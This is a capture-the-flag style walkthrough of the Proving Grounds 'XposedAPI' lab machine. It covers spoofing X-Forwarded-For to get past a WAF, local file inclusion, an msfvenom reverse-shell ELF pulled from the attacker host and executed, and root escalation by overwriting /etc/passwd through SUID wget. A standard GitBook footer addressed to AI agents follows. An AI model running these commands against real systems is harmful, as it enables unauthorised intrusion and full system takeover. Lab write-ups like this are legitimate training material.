> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/xposedapi.md).
# XposedAPI
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.134.134 -t full`
`nmapAutomator.sh -H 192.168.134.134 -t vulns`
### Port 13337
Seems like a custom-built API.
`/update` API seems interesting.
Generate ELF: `msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.134 LPORT=4242 -f elf > reverse.elf`
It appears we need to either find a valid username, or perform SQL injection.
Another interesting endpoint is `/logs`. The WAF denies us access to this host. Likely, the WAF is trying to restrict access to localhost.
### X-Forwarded-For Header
"The X-Forwarded-For (XFF) header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. When traffic is intercepted between clients and servers, server access logs contain the IP address of the proxy or load balancer only. To see the original IP address of the client, the X-Forwarded-For request header is used."
## Exploit
It appears that the WAF is performing a check on the X-Forwarded-For header. This can be easily manipulated on the client side.
Now, we are told to use `file=/path/to/log/file`. This appears to be a LFI vulnerability.
Here, we get the username `clumsyadmin` (the only 'human' username). Now we can make the server download and execute the malicious ELF file we generated earlier using msfvenom.
Restart the app, and we have a reverse shell.
## Privilege Escalation
We can use LinPEAS to enumerate.
Very quickly, we can see that the SUID bit is set for `wget`.
Reference:
We can abuse the SUID privileges to write arbitrary files.
After copying the `passwd` file to our attacking machine, add our own root user:
```bash
echo "root2:bWBoOyE1sFaiQ:0:0:root:/root:/bin/bash" >> passwd
```
Note that this hash corresponds to our custom password, `mypass`.
```bash
$ openssl passwd mypass
bWBoOyE1sFaiQ
```
Then we can overwrite the existing `passwd` file: `wget http://192.168.49.134/passwd -O /etc/passwd`
Finally, we can SSH as root2.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://pentesting.zeyu2001.com/proving-grounds/get-to-work/xposedapi.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.